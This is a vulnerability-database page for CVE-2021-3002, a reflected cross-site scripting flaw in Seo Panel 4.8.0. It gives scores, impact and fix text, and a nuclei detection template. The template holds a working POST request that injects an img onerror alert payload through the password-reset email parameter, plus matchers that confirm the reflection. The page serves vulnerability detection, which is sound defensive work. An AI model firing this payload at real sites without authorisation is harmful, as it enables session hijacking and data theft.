CVE-2021-3002· seopanel / seo panel· CWE-79
Seo Panel 4.8.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor.
How to confirm it
Send: POST /seo/seopanel/login.php?sec=forgot
Positive when: contains in header "text/html" AND contains "<img src=a onerror=alert(document.domain)>" and "seopanel" AND status 200Run it with nuclei: nuclei -id CVE-2021-3002 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-3002
info:
name: Seo Panel 4.8.0 - Cross-Site Scripting
author: edoardottt
severity: medium
description: Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor.
reference:
- http://www.cinquino.eu/SeoPanelReflect.htm
- https://github.com/seopanel/Seo-Panel/issues/202
- https://nvd.nist.gov/vuln/detail/CVE-2021-3002
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ArrestX/--POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-3002
cwe-id: CWE-79
epss-score: 0.04278
epss-percentile: 0.91181
cpe: cpe:2.3:a:seopanel:seo_panel:4.8.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: seopanel
product: seo_panel
tags: cve2021,cve,seopanel,xss,vuln
http:
- raw:
- |
POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
sec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "<img src=a onerror=alert(document.domain)>"
- "seopanel"
condition: and
- type: status
status:
- 200References
- http://www.cinquino.eu/SeoPanelReflect.htm
- https://github.com/seopanel/Seo-Panel/issues/202
- https://nvd.nist.gov/vuln/detail/CVE-2021-3002
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ArrestX/--POC
Use this check only on systems you are authorised to test. Where the data comes from